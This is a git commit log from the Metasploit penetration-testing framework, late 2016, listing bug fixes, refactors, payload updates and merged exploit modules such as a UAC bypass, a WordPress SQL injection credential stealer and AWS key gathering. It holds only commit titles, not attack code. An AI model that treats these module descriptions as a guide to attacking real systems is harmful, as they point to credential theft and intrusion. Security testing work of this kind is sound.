OJ a99042a54d Update Gemfile.lock 2016-12-07 14:58:27 +10:00
OJ fc1d601d13 Bump the payloads version to 1.2.4 2016-12-07 14:57:05 +10:00
Rich Whitcroft d3a8409a49 prevent further lockouts in smb_login 2016-12-06 21:53:08 -05:00
Jon Hart 1c3f0437ed Move some options back to non-advanced 2016-12-06 17:39:37 -08:00
Jon Hart 0b46e90bbb Only print out AWS API responses when in verbose mode 2016-12-06 17:32:48 -08:00
Jon Hart a13382c80b Address most of rubocop's nits 2016-12-06 17:10:34 -08:00
Jon Hart 8f21a1f68c move most options to advance, since they never change
Also, doc empty username
2016-12-06 16:29:00 -08:00
Adam Cammack c5641c9681 Factor out mettle configuration
Also cleans up some stuff: s/url/uri/ and base-64 encodes UUIDs
2016-12-06 18:28:48 -06:00
David Maloney 606232828f freeze punk, it's rubocop!
rubocop autocrrecting a bunch of stuff *fingers crossed*
2016-12-06 17:17:56 -06:00
David Maloney dc53057639 more bcook fixes
the rebase lost some of these
2016-12-06 17:14:22 -06:00
David Maloney c8f6ac99a1 reapply bcook's indentation fixes 2016-12-06 16:52:46 -06:00
David Maloney d3225ce2fb Merge branch 'master' into feature/handler-command 2016-12-06 16:51:57 -06:00
Brent Cook f734031804 Land #7655, Refactor/cleanup core command dispatcher 2016-12-06 16:38:42 -06:00
Brent Cook d091a32be8 whitespace/indentation 2016-12-06 16:37:22 -06:00
David Maloney b553e26117 adjust cuke feature for help cmd
add the handler command to the expected output
from help
2016-12-06 15:31:17 -06:00
Adam Cammack 1ec7474067 Don't embed ELFs in ELF templates 2016-12-06 14:14:40 -06:00
David Maloney 62f0e7b20a add the handler console command
sometimes, as a user, you need to start a handler
but don't want to exit your current console context.
The new handler command allows a user to spin up a handler
in background job without switching contexts
2016-12-06 14:04:39 -06:00
Tod Beardsley a4f681ae35 Add quoted hex encoding 2016-12-06 09:05:35 -06:00
Brent Cook 66363f1643 Land #7625, add meterpreter 'cp' command and copy primitives 2016-12-06 07:20:21 -06:00
Brent Cook 7346223a65 update payloads 2016-12-06 07:16:44 -06:00
Brent Cook b4a2a6ed60 Merge remote-tracking branch 'upstream/master' into land-7625- 2016-12-06 06:23:32 -06:00
OJ 2839b198ba Update payload spec to include multi payloads 2016-12-06 11:22:12 +10:00
OJ ffee0ff1b6 Fix payload cache size issue, fix shell/bind payloads 2016-12-06 11:12:02 +10:00
Metasploit 7edb5e19e2 Bump version of framework to 4.13.5 2016-12-05 15:09:06 -08:00
Brendan a038922d32 Land #7657, use platform for session_compatible? to support shell sessions 2016-12-05 16:05:05 -06:00
Jeffrey Martin 9ba6797d19 use arch for session_compatible? to support shell sessions 2016-12-05 15:56:28 -06:00
Jeffrey Martin 483228c4ea use platform for session_compatible? to support shell sessions 2016-12-05 14:14:37 -06:00
David Maloney ce23c2db53 why is this test so whitespace sensitive? 2016-12-05 12:18:58 -06:00
David Maloney d8af532407 offs 2016-12-05 12:08:51 -06:00
David Maloney e2a646f9d3 i hate you cucumber 2016-12-05 11:44:13 -06:00
David Maloney 85a3889eea trying to get cucumber passing again 2016-12-05 11:36:40 -06:00
David Maloney f56c7f9a8e cosmetic touchups 2016-12-05 11:25:56 -06:00
David Maloney d85f9880ff fix command dispatcher specs 2016-12-05 11:16:15 -06:00
David Maloney ab2e88a49e created modules command dispatcher
moved all commands related to navigating around
modules, editing them, and viewing their info into
a new command dispatcher
2016-12-05 10:30:18 -06:00
David Maloney 6557a84784 add resource command dispatcher
move resource script related commands into
their own command dispatcher
2016-12-05 09:20:07 -06:00
David Maloney 2008dcb946 create jobs command dispatcher
split the jobs related commands into their own
command dispatcher to start cleaning up the 'core'
dispatcher
2016-12-05 09:12:52 -06:00
William Vu d08aff2dcc Land #7651, nil fix for etherpad_duo_login 2016-12-03 13:11:13 -06:00
Jin Qian 4a35f8449a Fixed issue #7650 by matching Server header using regex as Wei suggested
The suggestion by Wei is simpler than the one I checked in which checks for presence of Server header before calling include method.
2016-12-02 20:26:38 -06:00
Jin Qian 35fdf1473b Fixed issue #7650 where etherpad_duo_login module may crash
Add check for presence of Server header.
2016-12-02 18:07:18 -06:00
Brendan 86ec5861f9 Land #7649, update session_compatible? for changes from PR#7507
Fixing the ability to find compatible post scripts for sessions
2016-12-02 16:29:08 -06:00
Jeffrey Martin b218c7690a cleanup stray comment 2016-12-02 15:25:58 -06:00
Jeffrey Martin 0be166e719 update session_compatible? for changes from PR#7507 2016-12-02 14:55:38 -06:00
wchen-r7 7ee9408da3 Land #7647, Search with an intersect instead of a union 2016-12-02 13:55:50 -06:00
darkbushido 889de05af4 removing some commented code 2016-12-02 13:06:22 -06:00
darkbushido 486f8cd2a3 adding arch to search 2016-12-02 13:05:23 -06:00
darkbushido f6694992ce changing module search to use the new scopes 2016-12-02 13:05:23 -06:00
dmohanty-r7 f45b0e3c88 Land #7643, only use ANSI ctrl chars in stdio output 2016-12-02 12:54:46 -06:00
Metasploit 76db530a86 Bump version of framework to 4.13.4 2016-12-02 10:02:53 -08:00
wchen-r7 374763e991 Land #7636, support sleep command for android meterpreter 2016-12-02 11:48:26 -06:00
Tod Beardsley d549c2793f Fix module filename to be TR-064 2016-12-02 08:49:21 -06:00
Tod Beardsley 9e4e9ae614 Add a reference to the TR-064 spec 2016-12-02 08:48:09 -06:00
Tod Beardsley ddac5600e3 Reference TR-064, not TR-069 2016-12-02 08:45:15 -06:00
OJ 917b45664b Merge LURI fix from timwr 2016-12-02 08:01:12 +10:00
William Vu ff8141c1b5 Land #7644, cred fix for vbulletin_vote_sqli_exec 2016-12-01 15:47:31 -06:00
William Vu c65ff2f0f4 Land #7646, get_cookies fix for dolibarr_login 2016-12-01 15:43:43 -06:00
Jin Qian 11906eb540 Fix issue #7645 where dolibarr_login module crashed
Add "res" (http response) when trying to retrieve the cookie
2016-12-01 15:38:26 -06:00
wchen-r7 41355898fa Remove extra def report_cred in vbulletin_vote_sqli_exec 2016-12-01 15:31:24 -06:00
wchen-r7 9325ef8d8f Land #7573, Add WP Symposium Plugin SQLI aux mod to steal credentials 2016-12-01 14:56:30 -06:00
wchen-r7 6b5dba72d4 Update description 2016-12-01 14:55:16 -06:00
wchen-r7 64bc029106 Fix Ruby style 2016-12-01 14:53:55 -06:00
wchen-r7 90ec367a99 Add method to save creds to database 2016-12-01 14:52:51 -06:00
wchen-r7 174cd74900 Land #7532, Add bypass UAC local exploit via Event Viewer module 2016-12-01 11:16:49 -06:00
wchen-r7 1e9d80c998 Fix another typo 2016-12-01 11:16:06 -06:00
wchen-r7 b8243b5d10 Fix a typo 2016-12-01 11:15:26 -06:00
David Maloney c9b5e43201 only use ANSI ctrl chars in stdio output
the async output fix was put in the parent UI IO
class when it only really makes sense in stdio.
Those ctrl sequences will noly be understood if output to a
terminal.

MS-2298
2016-12-01 11:06:17 -06:00
Tim 5a2eb29a1b remove unused generate_small_uri 2016-12-01 18:33:36 +08:00
Tim 4da614532b fix luri 2016-12-01 18:22:13 +08:00
William Vu 54684d31bd Land #7641, check_conn? fix for cisco_ssl_vpn 2016-11-30 21:14:19 -06:00
William Vu 032312d40b Properly check res 2016-11-30 21:03:29 -06:00
OJ 72a20ce464 Merge timwr's changes that fix android/reverse_http 2016-12-01 09:59:41 +10:00
OJ 8f077e1bf5 Merge timwr's changes for autoloading android 2016-12-01 09:58:54 +10:00
William Vu 1d6ee7192a Land #7427, new options for nagios_xi_chained_rce 2016-11-30 17:11:02 -06:00
William Vu b0cd28ef4c Update module docs 2016-11-30 17:10:57 -06:00
William Vu 3e8cdd1f36 Polish up USER_ID and API_TOKEN options 2016-11-30 17:10:52 -06:00
Jin Qian ec83a861c8 Fix issue #7640 where cisco SSL VPN not move despite server responded
Add the "return true" statement that was missing.
2016-11-30 16:25:13 -06:00
OJ ebf5121359 Merge branch 'upstream/master' into add-bypassuac-eventvwr 2016-12-01 07:58:16 +10:00
OJ 6890e56b30 Remove call to missing function 2016-12-01 07:57:54 +10:00
David Maloney 2a065cd220 Land #7591, sinn3r's warbird check fix
Lands sinn3r's fix to the warbird license verification
check in the payload segment injector
2016-11-30 15:45:04 -06:00
jinq102030 f13d012ade Merge pull request #7639 from wchen-r7/fix_7628
Fix #7628, concrete5_member_list HTML parser
2016-11-30 14:52:41 -06:00
wchen-r7 56505d2cc1 Resolve merge conflict 2016-11-30 14:33:23 -06:00
wchen-r7 c70c3701c5 Fix #7628, concrete5_member_list HTML parser
Fix #7628
2016-11-30 14:20:36 -06:00
William Webb b6bb1995ad Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2016-11-30 12:00:45 -06:00
William Webb c31758e0ea Land #7627, Fix typo in payloads/linux/armle/mettle 2016-11-30 11:58:47 -06:00
wchen-r7 530e9a9bc6 Land #7633, fix dell_idrac to stop trying on a user after a valid login 2016-11-30 11:46:31 -06:00
David Maloney 5b80c5de6b Land #7635, OJ's fix to UUID unpacking
fixes an issue with UUID packing that would
incorrectly trim off nullbytes
2016-11-30 11:19:33 -06:00
David Maloney d1be2d735f Land #7578, pdf-shaper exploit
Land lsato's work on the pdf-shaper buffer overflow
exploit
2016-11-30 11:13:12 -06:00
Tod Beardsley 43cd788350 Switch back to echo as cmdstager flavor 2016-11-30 10:18:09 -06:00
Tod Beardsley b75fbd454a Add missing peer in vprint_error 2016-11-30 07:59:41 -06:00
Tim 8f3fab4b1b fix sleep and transport on android 2016-11-30 21:59:01 +08:00
Tod Beardsley 657d52951b Linemax 63, switch to printf 2016-11-30 07:51:36 -06:00
Tim 78480e31e7 remove AutoLoadAndroid 2016-11-30 21:23:14 +08:00
Tim b494d069f7 fix android/meterpreter/reverse_https 2016-11-30 20:53:09 +08:00
Tim 92751714c1 fix android/meterpreter/reverse_http 2016-11-30 20:12:00 +08:00
OJ bdc2e7c3cd Fix missing stager_config functions, payload sizes 2016-11-30 16:11:51 +10:00
OJ e5db0f4610 Fix unpack causing puid breakage in some cases 2016-11-30 15:51:17 +10:00
OJ 3fad75641d Final touches to make MSF happy with all refactorings 2016-11-30 11:30:59 +10:00
Tod Beardsley 08b9684c1a Add a FORCE_EXPLOIT option for @FireFart 2016-11-29 16:37:13 -06:00
Tod Beardsley 57d156a5e2 Revert "XML encode the command passed"
This reverts commit 9952c0ac6f.
2016-11-29 16:24:26 -06:00
Tod Beardsley b7904fe0cc Oh silly delimiters and lack thereof 2016-11-29 15:53:05 -06:00
Tod Beardsley 9952c0ac6f XML encode the command passed 2016-11-29 15:49:55 -06:00
Tod Beardsley 851aae3f15 Oops, wrong module
This reverts commit d55d2099c5.
2016-11-29 15:15:18 -06:00
Tod Beardsley d55d2099c5 Just one platform thanks 2016-11-29 15:08:45 -06:00
Tod Beardsley 4d6b2dfb46 Use CmdStager instead
Oh, and this is totally untested as of this commit.
2016-11-29 15:03:38 -06:00
Jin Qian afed1f465e Fix issue 7632 where MSF keeps trying after success.
Thanks to Wei who suggested adding "return :next_user" after success.
2016-11-29 14:57:15 -06:00
Tod Beardsley 8de17981c3 Get rid of the WiFi key stealer 2016-11-29 14:48:04 -06:00
Tod Beardsley 75bcf82a09 Never set DefaultPaylod, reverse target options 2016-11-29 14:43:10 -06:00
Tod Beardsley f55f578f8c Title, desc, authors, refs 2016-11-29 14:39:38 -06:00
David Maloney 3c9ebb97be Land #7624, Wvu's style fixes
land's wvu's style and text fixes for the
OS X archived messages module
2016-11-29 14:05:05 -06:00
David Maloney 4c50a7c80d Land #7630, Username Regex Fix
lands jin's fix for the username regex in
the concrete5 module
2016-11-29 14:00:27 -06:00
Javier Godinez 497e02955b Fixed checking for access keys being retrieved 2016-11-29 11:08:55 -08:00
Jin Qian 1beeb99d44 Fix issue 7628, username extracted became garbled
Make the regular expression less aggressive.
2016-11-29 12:52:57 -06:00
Adam Cammack 878779e14c Fix typo in payloads/linux/armle/mettle 2016-11-29 10:12:17 -06:00
Tod Beardsley d691b86443 First commit of Kenzo's original exploit
This is a work in progress, and is merely the copy-paste
of the original PoC exploit from:

https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/
2016-11-29 09:13:52 -06:00
OJ 834756c337 Rework android structure to function with the multi arch payload 2016-11-29 17:55:31 +10:00
Tim 090dac6d24 make the stdapi_fs_file_move test unconditional 2016-11-29 14:37:19 +08:00
Tim 94a15920ec add test for file copy 2016-11-29 14:36:03 +08:00
Tim 468bf4696f stdapi_fs_file_copy 2016-11-29 13:56:27 +08:00
OJ bdfaaf01b2 Make multi work with https 2016-11-29 15:51:38 +10:00
OJ bd8f8fd6cb More rework of payload structure to handle multi arch handlers 2016-11-29 15:21:13 +10:00
OJ beca63645e Revamp of java payload structure 2016-11-29 11:54:30 +10:00
Javier Godinez cb0313642b Fixed setting IAM_USERNAME 2016-11-29 00:54:49 +00:00
Javier Godinez 46ce1dfaab Now using random string as IAM_USERNAME unless specified 2016-11-28 16:32:53 -08:00
Javier Godinez f8789fef38 Moved METADATA_IP to advanced options 2016-11-28 16:32:26 -08:00
Javier Godinez a49a983079 Removed reference to not yet existing module 2016-11-28 16:31:51 -08:00
William Vu b6fe6c1d38 Fix #7597, minor changes to enum_messages 2016-11-28 17:37:32 -06:00
OJ e8d7a074fa Tweak to stageless handling for python payloads 2016-11-29 07:54:51 +10:00
wchen-r7 19bcef0c92 Land #7623, Prefer DefaultOptions to reregistering SSL option 2016-11-28 14:54:12 -06:00
William Vu c39c53b102 Prefer DefaultOptions to reregistering SSL option 2016-11-28 14:29:02 -06:00
Pearce Barry 8c54b0e5f4 Land #7622, Fix check_conn? method in cisco_ironport_enum 2016-11-28 14:19:02 -06:00
William Vu 777d5c1820 Fix check_conn? method in cisco_ironport_enum 2016-11-28 14:02:39 -06:00
Cantoni Matteo f0b5b5a153 call store_loot once at the end 2016-11-28 20:28:36 +01:00
Javier Godinez 53a66585cf Removed dubious unit test 2016-11-28 10:07:18 -08:00
wchen-r7 a7fa2941a8 Land #7597, Added post module for accessing OSX messages database 2016-11-28 11:43:06 -06:00
wchen-r7 4eb109b22f Land #7609, set SSL to true by default for cisco_nac_manager_traversal 2016-11-28 11:30:41 -06:00
Metasploit f46ca66858 Bump version of framework to 4.13.3 2016-11-28 06:35:44 -08:00
OJ 5e8a47ac00 Merge upstream/master into universal handler work 2016-11-28 15:26:43 +10:00
OJ 496836fc06 Remove debug junk, rejig order of ops in initializer 2016-11-28 15:25:07 +10:00
Brent Cook 60210f57e9 Land #7505, fixed some targets for cisco_asa_extrabacon 2016-11-27 22:19:45 -06:00
Brent Cook 0858ca2935 Land #7601, bump ruby version to 2.3.3 2016-11-27 22:14:20 -06:00
Brent Cook d76c3033a7 Land #7596, fixes for console corruption on Linux and Windows 2016-11-27 22:13:12 -06:00
Brent Cook 34aa79ca27 remove captured delimiter characters from output 2016-11-27 20:14:16 -06:00
OJ e8158bd200 Add multi platform type, wire into the multi stage 2016-11-28 09:34:09 +10:00
jjarmoc 8824cc990a Use Auxilliary Actions for different behaviors. 2016-11-26 13:04:04 -06:00
Rob Fuller f4c875b770 Landing #7615
Outputs robots.txt instead of just stating it exists and
switches smb_enumusers output of positive results to print_good

Thanks @jnqpblc
2016-11-26 00:56:25 -05:00
John Q. Public 0935d31de1 Changed print_status to print_good
Changed line 315 print type to good instead of the general status indication, so that the result output is easier to see.
2016-11-25 16:54:58 -06:00
John Q. Public c286c708d9 Print file contents
Added a print_good statement at line 63 in order to print to contents of the newly discovered robots.txt file.
2016-11-25 15:57:37 -06:00
Metasploit 79e8ffd983 Bump version of framework to 4.13.2 2016-11-25 10:03:24 -08:00
h00die efa191dd10 fixed some spacing 2016-11-25 11:50:56 -05:00
Javier Godinez 83e0a21a52 Added unit tests 2016-11-24 21:04:17 -08:00
Javier Godinez 0700b17f7e Added sanity checks 2016-11-24 21:04:10 -08:00
Javier Godinez b4add59a3d Moved metadata_creds() so Client can be included in Aux/Post modules 2016-11-24 21:03:38 -08:00
OJ 5fdd5a7326 More progress on http universal staged handler 2016-11-25 13:00:35 +10:00
h00die 00d9e69a98 potential double fix for #7582 2016-11-24 12:14:09 -05:00
Pearce Barry ec020e3d07 Land #7611, cisco_ironport_enum falsely claimed connection failed
Fixes #7610
2016-11-24 09:54:09 -06:00
Pearce Barry 75d08e5dc2 Land #7612, Race condition when loading auto_win32_multihandler.rc
Fixes #7603
2016-11-24 09:19:58 -06:00
Cantoni Matteo ceb7419714 wp_symposium_sql_injection Module Documentation 2016-11-24 10:41:50 +01:00
Cantoni Matteo fd11e7c4df modified it as recommended (@brandonprry) and added Module Documentation 2016-11-24 10:36:32 +01:00
root dc64f63517 Removed useless comments 2016-11-24 01:33:20 +00:00
root 5284e20a52 Optimised SQL vars, removed unneeded requires and changed the "exec" function name 2016-11-24 01:27:03 +00:00
Pearce Barry 0646b5cb39 Land #7606, OWA_LOGIN should continue on connection errors.
Fixex MS-2132.
2016-11-23 16:50:11 -06:00
wchen-r7 f082fd5399 Fix #7603, Race condition when loading auto_win32_multihandler.rc 2016-11-23 15:08:54 -06:00
Jin Qian 65b858ac06 Fix issue 7610, cisco_ironport_enum falsely claimed connection failed.
Make sure we return 1 in check_conn method.
2016-11-23 14:59:07 -06:00
Jin Qian b7ae7a47be Fix issue #7608 where the SSL option was not turned on by default
Set the SSL option to be on by default.
2016-11-23 14:45:42 -06:00
Javier Godinez c48587066d Added reference and minor fixes 2016-11-23 10:58:37 -08:00
Jin Qian 9f4784354a Disconnect after making the HTTP transaction in send_request_cgi
Add a disconnect call after cgi is done.
2016-11-23 11:20:10 -06:00
Jin Qian 0df3e17e0c Fix the issue in MS2132 where OWA_LOGIN doesn't continue on connection error.
The possibility of temporary connnection disruption means this module should keep trying other user/pass pairs upon error.
2016-11-23 09:56:27 -06:00
Javier Godinez 43e1b5bdd1 Adds module to create an AWS IAM user from a pwned AWS host 2016-11-22 14:55:03 -08:00
Javier Godinez 0eaeeb4aa7 Adds a generic AWS client module 2016-11-22 14:54:18 -08:00
Christian Mehlmauer ab210b0bf6 bump ruby version 2016-11-22 18:45:55 +01:00
Pearce Barry 3640e87a37 Land #7599, Don't complain when Proxies is an empty string 2016-11-22 10:14:40 -06:00
James Lee b45a36180e Don't complain when Proxies is an empty string 2016-11-22 09:29:04 -06:00
OJ c606eabbb9 Merge 'upstream/master' into universal-handlers 2016-11-22 14:06:46 +10:00
root ce514ed3e5 Fixed broken fail_with function call and whitespace on line ending 2016-11-22 03:04:12 +00:00
root e0f8d622ec Added metasploit module for access OSX messages database 2016-11-22 02:53:38 +00:00
Dylan Davis 991409fdd6 Make truthiness checks consistent 2016-11-21 19:37:48 -07:00
Dylan Davis 72609b3112 Don't use ANSI terminal sequences on Windows 2016-11-21 19:25:24 -07:00
Brent Cook 6d85330dad Land #7594, check if opts['var_get'] exists before using it 2016-11-21 18:06:32 -06:00
Brent Cook 59f3c9e769 Land #7579, rename netfilter_priv_esc to rename netfilter_priv_esc_ipv4 2016-11-21 17:59:29 -06:00
Jin Qian cdc82891d8 Fix the issue 7593 where I get a stacktrace when running module auxiliary/scanner/http/blind_sql_query
Add a guard against the case when opts['vars_get'] is nil
2016-11-21 17:39:09 -06:00
wchen-r7 83a3a4e348 Fix #7463, check nil return value when using redis_command
Fix #7463
2016-11-21 15:52:12 -06:00
wchen-r7 b2cc8e2b95 Fix #7569, Fix warbird check for missing text section
Fix #7569
2016-11-21 14:57:01 -06:00
William Vu 6f8660f345 Land #7586, NameError fix for brute_dirs 2016-11-21 14:46:19 -06:00
William Vu 7b5c819430 Land #7588, disclosure date fix for OpenNMS sploit 2016-11-21 14:01:18 -06:00
William Vu c8320d661f Land #7590, mixin order fix for buffalo_login 2016-11-21 13:57:27 -06:00
Jin Qian 90d360a592 Fix the issue 7589, both RHOST and RHOSTS options are quired
Thanks to Will who found it's due to the order of mixin.
2016-11-21 11:06:32 -06:00
Prateep Bandharangshi 8869ebfe9b Fix incorrect disclosure date for OpenNMS exploit
Disclosure date was Nov 2015, not Nov 2014
2016-11-21 16:44:36 +00:00
Jin Qian 18b873be47 Fix the exception issue reported in issue #7585
Fix the exception by initialize a key variable that caused the exception.
2016-11-21 10:00:23 -06:00
William Webb 6c6221445c Land #7543, Create exploit for CVE-2016-6563 / Dlink DIR HNAP Login 2016-11-21 09:59:50 -06:00
OJ 6ae8a2dd2e Remove unused/empty function body 2016-11-21 17:59:49 +10:00
OJ 8c036885bc Fix msftidy issues 2016-11-21 17:23:03 +10:00
OJ e226047457 Merge 'upstream/master' into the bypassuac via eventvwr mod 2016-11-21 17:18:40 +10:00
Brent Cook 0504cae21f Land #7536, fix get_ipv4_addr(@interface) usage 2016-11-21 01:09:05 -06:00
Brent Cook d8f59a9d62 Land #7507, Fix payload uuid/arch/platform tracking 2016-11-21 00:58:37 -06:00
Brent Cook d7dce28018 bump mettle to get fix for UUID encoding 2016-11-21 00:57:50 -06:00
Brent Cook 0a3acf57d1 update payload sizes 2016-11-20 19:47:17 -06:00
Brent Cook fcb2ef3933 bump ruby, get new openssl fixes 2016-11-20 19:35:44 -06:00
Brent Cook 05cb5edaac update payload gems 2016-11-20 19:10:27 -06:00
Brent Cook 16b5f40dae Revert "Rework XOR code to make more sense"
This reverts commit 699a8e91d2.
2016-11-20 19:09:45 -06:00
Brent Cook 005d34991b update architecture 2016-11-20 19:09:33 -06:00
Brent Cook e52d67cb8c add architecture check 2016-11-20 19:09:26 -06:00
Brent Cook f313389be4 Merge remote-tracking branch 'upstream/master' into land-7507-uuid-arch 2016-11-20 19:08:56 -06:00
David Maloney 6a35b366bc Land #7577, URPORT fix 2016-11-18 14:41:10 -06:00
h00die 0182594fb0 fix docs to reflect name change 2016-11-18 13:55:29 -05:00
h00die cfd31e32c6 renaming per @bwatters-r7 comment in #7491 2016-11-18 13:52:09 -05:00
Metasploit 643a5511cf Bump version of framework to 4.13.1 2016-11-18 10:01:48 -08:00
wchen-r7 00e4a8881f Land #7574, Update open_proxy aux module 2016-11-18 11:41:43 -06:00
h00die cd01b07682 Land #7565
Lands print_bad and vprint_bad from todb-r7
2016-11-18 13:29:39 -05:00
wchen-r7 d3adfff663 Change syntax 2016-11-18 11:41:04 -06:00
wchen-r7 f894b9a4c5 Fix typo 2016-11-18 11:39:26 -06:00
Louis Sato 920ecf6fc5 finishing metacoms work for pdf-shaper-bo 2016-11-18 11:36:02 -06:00
David Maloney 202009b50b Land #7570, async print fix
Land's jennamagius' fix for async console printing
outoupt from jobs no longers screws the console prompt
up. w00t!
2016-11-18 11:25:18 -06:00
David Maloney 8d1c718873 Land #7572, wireshark dos typos
Lands mcantoni's pr for fixing typos in the
wireshark dos modules
2016-11-18 11:01:32 -06:00
wchen-r7 4596785217 Land #7450, PowerShellEmpire Arbitrary File Upload 2016-11-17 17:47:15 -06:00
wchen-r7 22d70ddd09 Fix #7455, handle the URIPORT option properly in is_uxss_injection
Fix #7455
2016-11-17 15:50:35 -06:00
Brian Patterson abddeb5cd2 Land 7473, add censys search module 2016-11-17 13:44:00 -06:00
Brendan f2b9498643 Land #7576, Fix RHOSTS use in auxiliary/scanner/ftp/titanftp_xcrc_traversal 2016-11-17 13:06:29 -06:00
Jin Qian c03f35ef13 Fix the hanging of module auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
Thanks for Wei who pointed out the error: in store_loop call, it used "rhosts", should have been ip.
2016-11-17 10:08:59 -06:00
Cantoni Matteo c9b9be9328 Update open_proxy aux module 2016-11-17 15:44:03 +01:00
Cantoni Matteo b3b89a57b5 Add WordPress Symposium Plugin SQL Injection module 2016-11-17 15:04:53 +01:00
Cantoni Matteo 30f7006b5b Fixed typos of an old commit 2016-11-17 14:39:33 +01:00
Tim 66ba2b077b Land #7567, fix apk injection when template has no permissions 2016-11-17 11:42:54 +00:00
Dylan Davis 739c9c1315 Ensure cursor is positioned appropriately if it is not at the end of a line when async prints arrive 2016-11-16 21:07:50 -07:00
Dylan Davis 491a3a3162 Prevent the input prompt from being mangled by asynchronous prints. 2016-11-16 20:43:07 -07:00
wchen-r7 c0af5b690d Land #6638, add local exploit module to execute payload w/ stealth 2016-11-16 16:25:15 -06:00
wchen-r7 e1ff37f3eb Title change and handling Rex::TimeoutError exception 2016-11-16 16:23:44 -06:00
Brendan 18bafaa2e7 Land #7531, Fix drb_remote_codeexec and create targets 2016-11-16 12:58:22 -06:00
Metasploit 383314530a Bump version of framework to 4.13.0 2016-11-16 07:48:26 -08:00
OJ be2aabb873 Merge updates to mettle stages from acammack-r7 2016-11-16 19:13:20 +10:00
Brian Yip 927e195e28 Generate payload apk from permissionless apk 2016-11-16 00:48:10 -04:00
Tod Beardsley 1deacad2be Add a print_bad alias for print_error
Came up on Twitter, where Justin may have been trolling a little:

https://twitter.com/jstnkndy/status/798671298302017536

We have a `print_good` method, but not a `print_bad`, which seems a
little weird for Ruby -- opposite methods should be intuitive as Justin
is implying.

Anyway, I went with alias_method, thanks to the compelling argument at

https://github.com/bbatsov/ruby-style-guide#alias-method

...since Metasploit is all about the singleton, and didn't want to risk
some unexpected scoping thing.

Also dang, we define the `print_` methods like fifty billion times!
Really should fix that some day.
2016-11-15 19:20:42 -06:00
Brendan 7e4645afb3 Land #7527, Add LURI support to the reverse_http/s stagers 2016-11-15 16:31:20 -06:00
wchen-r7 7b83720b90 Bring #6638 up to date 2016-11-15 12:27:05 -06:00
wchen-r7 f50e609d12 Land #7556, Prevent psexec_command from dying when one host errors 2016-11-15 12:17:01 -06:00
wchen-r7 e5d3289c18 Fix name for exception 2016-11-15 12:14:58 -06:00
Brent Cook b6f097c035 Correct a few misspellings 2016-11-15 08:08:20 -06:00
Brent Cook b56b6a49ac Land #7328, Extend lsa_transname_heap exploit to MIPS 2016-11-15 07:37:19 -06:00
Brent Cook 312f33afa3 minor formatting updates 2016-11-15 07:36:54 -06:00
Brent Cook 8d1d017188 Land #7562, fix rex-text column padding for unicode values 2016-11-15 07:12:37 -06:00
Brent Cook dcd64e5964 Land #7261, Winpmem Meterpreter extension 2016-11-14 16:52:11 -06:00
Brent Cook fafc749447 update metasploit payloads 2016-11-14 16:51:38 -06:00
Brent Cook 5490fda0ae Merge remote-tracking branch 'upstream/master' into land-7261 2016-11-14 16:49:28 -06:00
wchen-r7 38af03e8e6 Land #7540, Add WinaXe 7.7 FTP client Server Ready buffer overflow 2016-11-14 15:53:08 -06:00
wchen-r7 fa9f2b340e def setup isn't needed 2016-11-14 15:52:02 -06:00
wchen-r7 bab07b5691 Bring #7540 up to date 2016-11-14 14:59:21 -06:00
wchen-r7 142ba7576d Land #7561, report correct credential status as successful 2016-11-14 14:54:49 -06:00
Brendan 203c8132c5 Update the Gemfile to pull in the new rex-text Gem 2016-11-14 14:16:36 -06:00
Jeffrey Martin c458d662ed report correct credential status as successful 2016-11-14 12:27:22 -06:00
Jeffrey Martin 4ae90cbbef Land #7191, Add exploit for CVE-2016-6267 - Trend Micro Smart Protection Server authenticated RCE. 2016-11-14 12:06:02 -06:00
William Webb 4e40546958 Land #7502, Disk Pulse Enterprise Login Buffer Overflow 2016-11-14 10:28:53 -06:00
Brent Cook 4f323527c9 Land #7549, Deprecate/move wp_ninja_forms_unauthenticated_file_upload 2016-11-14 03:00:02 -06:00
Brent Cook 67998600e8 Land #7456, add android_hide_app_icon command 2016-11-14 02:56:44 -06:00
Brent Cook 422ff57335 update metasploit-payloads 2016-11-14 02:53:18 -06:00
Brent Cook 98a54cd458 Merge branch 'upstream-master' into land-7456-android-hide-app 2016-11-14 02:43:04 -06:00
Pedro Ribeiro 908713ce68 remove whitespace at end of module name 2016-11-14 08:35:34 +00:00
Chris Higgins 4e9802786c Removed spaces causing build to fail 2016-11-13 21:46:24 -06:00
Dylan Davis a8a09261e1 Use files for rescue error, because left is not available 2016-11-11 21:49:06 -07:00
Pearce Barry 9eb9d612ca Minor typo fixups. 2016-11-11 16:54:16 -06:00
Pearce Barry 1dae206fde Land #7379, Linux Kernel BPF Priv Esc (CVE-2016-4557) 2016-11-11 16:50:20 -06:00
Pearce Barry 6277db4396 Land #7554, Fix powershell option for shell_to_meterpreter module 2016-11-11 14:33:33 -06:00
David Maloney 8e3888f20c the template ref in this module was missed
when we cleaned up all the other powershell template refs
we missed the one in this module which seems to e replicating
large ammounts of library code

7533
2016-11-11 14:24:33 -06:00
dmohanty-r7 2b5517f597 Land #7506, Add gather AWS keys post module 2016-11-11 13:56:12 -06:00
dmohanty-r7 3ae021faba Update aws gather key docs 2016-11-11 13:50:24 -06:00
David Maloney fbcc4baf58 Land #7553, apk inject cert fix
Lands dana-at-cp's fix for the certtool localization
issues for the APK injection routine.

Fixes #7524
2016-11-11 12:54:41 -06:00
Metasploit f116ad2c59 Bump version of framework to 4.12.42 2016-11-11 10:02:14 -08:00
Jenna Magius db32c5fdcc msftidy whitespace fixes 2016-11-11 10:28:37 -07:00
Dylan Davis fddc2c221f Catch the specific exception. Include the error code in the error message. 2016-11-11 10:24:05 -07:00
Dylan Davis 69a4a327b8 Add begin-rescue blocks that prevent individual hosts from bailing out a threaded multi-host execution 2016-11-11 10:15:36 -07:00
David Maloney 415439eda8 the template ref in this module was missed
when we cleaned up all the other powershell template refs
we missed the one in this module which seems to e replicating
large ammounts of library code

7533
2016-11-11 10:01:22 -06:00
dana-at-cp c0e839dfd9 Fixes keytool bug in APK inject code 2016-11-11 06:12:47 -08:00
wchen-r7 8cd9a9b670 Deprecate wp_ninja_forms_unauthenticated_file_upload
wp_ninja_forms_unauthenticated_file_upload actually supports
multiple platforms.

Instead of using:
exploit/unix/webapp/wp_ninja_forms_unauthenticated_file_upload

Please use:
exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
2016-11-10 11:17:09 -06:00
Brent Cook 77bacacb9c Land rapid7/rex-exploitation#2, Fix heap_spray method's return value type
This fixes #7520
2016-11-09 20:39:01 -06:00
